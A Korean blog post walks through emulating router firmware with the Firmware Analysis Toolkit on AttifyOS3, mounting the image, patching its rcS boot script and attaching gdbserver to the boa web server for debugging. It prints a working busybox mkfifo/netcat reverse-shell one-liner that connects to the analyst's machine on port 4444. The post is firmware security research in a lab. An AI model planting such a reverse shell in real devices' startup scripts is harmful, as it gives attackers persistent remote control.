FAT(firmware-analysis-toolkit)

ripemo·2025년 2월 19일
  • 이전 qemu를 이용한 emulating 하는 방법을 게시하였다. 하지만 웹 바이너리를 실행하는 중 오류가 발생했고 결국 FAT를 사용해 에뮬레이팅하기로 결정

FAT 설치

  • 리눅스 환경에서 FAT를 다운받아 진행하려고 했다.
    하지만 FAT 설치 후 폴더 내의 ./setup.sh 를 실행하는 과정에서 binwalk의 폴더 구성에서 문제가 발생했다.
    추가로 바로 fat.py를 실행했을 때도 firmware를 추출하는 부분에서 멈추고 더 이상 진행되지 않았다. 따라서 attifyOS를 사용하기로 결정

attifyOS

attifyOS4

  • attifyOS는 IoT 보안, 분석을 위해 구성된 OS이다.
    attifyOS 안에는 binwalk 뿐만 아니라 FAT등 관련 도구들이 미리 설치되어있기 때문에 attifyOS를 사용하기로 결정

  • 첫 번째로 최신 버전인 attifyOS4를 vmware를 이용해 빌드했다.
    하지만 왜 인지 FAT가 없었고 직접 FAT를 다운받고 FAT를 설치했으나 fat.py도 리눅스 환경과 동일하게 중간에 멈추었고 FAT 폴더 내부에 firmadyne도 없었다.

  • 따라서 attifyOS3로 진행

attifyOS3

  • 이 버전에는 FAT가 설치되어 있었고 firmadyne 또한 있었다.
  • fat.py bin파일을 이용해 에뮬레이팅을 진행하였는데 에뮬레이팅에 성공했다.

firmadyne

  • firmadyne은 FAT에 포함된 에뮬레이션 도구로, 각종 스크립트를 사용해 펌웨어 분석을 용이하게 할 수 있다.

  • 일반적으로 에뮬레이션에서 성공해도 router user에 대한 credential이 없으면 셸을 획득할 수 없다. 따라서 리버스셸을 통해 셸 획득을 진행

  • 일반적으로 router는 부팅 시 /etc/init.d/rcS 파일을 실행하여 시스템을 초기화한다.(rcS - Run Command System-wide)
    따라서 rcS 파일에 리버스셸을 삽입하기 위해서(파일시스템을 수정하기 위해서) 에뮬레이팅한 환경을 mount 해준다.

mount

  • firmadyne의 script 폴더에는 여러가지 sh 파일이 있는데 mount 관련된 스크립트 파일을 사용할 것임

  • firmadyne 폴더에서 sudo scritps/mount.sh {image-id} 를 사용해 mount 할 수 있다.
    {image-id}는 fat.py를 실행시킬 때 확인할 수 있다.(여기서는 1)

  • 그렇게 mount 한 파일시스템은 firmadyne/scratch/{image-id}/image 에 존재한다.

revershell 삽입

  • attifyOS에서 nc로 리스닝하고 에뮬환경의 rcS에 리버스셸을 삽입한다.
  • 에뮬레이팅 환경의 bin 폴더에는 telentd 바이너리 밖에 없지만 내장된 busybox에는 nc, telnet 바이너리가 있었다. 하지만 좀 더 많은 명령어를 사용하기 위해 추가적인 mipsel 환경의 busybox를 다운받아 에뮬환경에 추가

  • 사용 가능한 명령어가 굉장히 많다.

  • rcS 파일에 삽입할 리버스셸

busybox-mipsel mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | busybox-mipsel nc 192.168.0.6 4444 > /tmp/f
  • attifyOS(192.168.0.6) 에서 nc로 4444포트 리스닝
nc -lnvp 4444

제약사항

  • 하지만 에뮬환경에서 attifyOS로 통신이 되지 않았다.
  • 에뮬환경의 네트워크 상태를 확인하기 위해 rcS 에 다음과 같은 명령어를 삽입했다.
ifconfig

busybox-mipsel iproute
  • 결과
br0       Link encap:Ethernet  HWaddr 00:E0:4C:81:96:C1  
          inet addr:192.168.1.254  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:224 (224.0 B)  TX bytes:468 (468.0 B)

eth0      Link encap:Ethernet  HWaddr 00:E0:4C:81:96:C1  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:12 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:280 (280.0 B)  TX bytes:936 (936.0 B)

eth1      Link encap:Ethernet  HWaddr 00:E0:4C:81:96:C9  
          UP BROADCAST RUNNING MULTICAST  MTU:1492  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:1348 (1.3 KiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

192.168.1.0/24 dev br0 
  • default gateway가 없기 때문에 attifyOS와 통신을 할 수 없음

  • attifyOS에서 에뮬레이팅하면서 tap 네트워크 인터페이스가 생성되었기 때문에 해당 주소를 gateway로 추가해주면서 리버스셸 다시 진행

  • rcS에 추가된 명령어

route add default gw 192.168.1.253 br0

busybox-mipsel mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | busybox-mipsel nc 192.168.0.5 4444 > /tmp/f

  • 리버스셸 획득 성공

unmount

  • unmount도 동일하게 scripts/umount.sh를 사용하려고 했으나 오류로 인해 unmount가 되지 않았다.
    따라서 직접 unmount
umount -l /path/to/FAT/firmadyne/scratch/{image-id}/image
  • 그 후 다시 에뮬레이팅 하기 위해서는 firmadyne/scratch/{image-id}의 폴더에 run.sh를 이용해서 다시 에뮬레이팅 할 수 있다.

gdbserver

  • 웹바이너리인 boa 파일을 동적으로 디버깅하기 위해서 에뮬 환경에 gdbserver를 설치하여 attifyOS에서 remote로 실행중인 boa에 attach 하여 분석하려고 한다.
    파일시스템을 mount하여 gdbserver mipsel 파일을 추가해주고 실행한다.
  • 잘 실행된다.

  • 실행 중인 boa 바이너리의 pid를 확인. (1446)
profile
hackyFrog

0개의 댓글